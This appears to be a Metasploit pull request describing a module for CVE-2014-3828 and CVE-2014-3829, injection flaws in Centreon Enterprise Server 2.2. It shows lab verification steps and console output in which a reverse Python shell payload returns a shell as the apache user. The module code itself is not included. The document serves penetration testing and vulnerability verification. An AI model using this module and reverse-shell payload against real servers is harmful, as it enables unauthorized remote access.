rapid7/metasploit-framework — pull request #4046 by jvazquez-r7 (2014-10-17 20:51:32+00:00)
Title: Exploit for CVE-2014-3828 and CVE-2014-3829, Centreon Injections

Tested with Centreon Enterprise Server version 2.2. I've used the ces-standard-2.2-i386.iso ISO: http://download.centreon.com/index.php?id=4266

My md5: MD5 (ces-standard-2.2-i386.iso) = 618e3ae33b7d97d724f2e842d1e634ff

Verification
------

- [ ] Deploy the Centreon Enterprise Server 2.2 from the iso above
- [ ] Try the module with anyone logged into centreon, your result should be like the next one (you SHOULDN'T get a session):

```
msf exploit(centreon_sqli_exec) > check
[*] 172.16.158.224:80 - The target service is running, but could not be validated.
msf exploit(centreon_sqli_exec) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[-] Exploit failed: 172.16.158.224:80 - The SQLi cannot be exploited, maybe you just need to wait until someone logs in
[*] Exploit completed, but no session was created.
```

- [ ] Initi a session on the Centreon web application (just do a log in).
- [ ] Use the module again, like shown below, verify sessions!

```
msf exploit(centreon_sqli_exec) > check
[+] 172.16.158.224:80 - The target is vulnerable.
msf exploit(centreon_sqli_exec) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(centreon_sqli_exec) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(centreon_sqli_exec) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.224:80 - Exploiting...

bash: no job control in this shell
bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache),101(nagios),102(centreon),103(centreon-broker),105(centreon-engine)
bash-3.2$ exit
exit
^C
Abort session 1? [y/N] y
```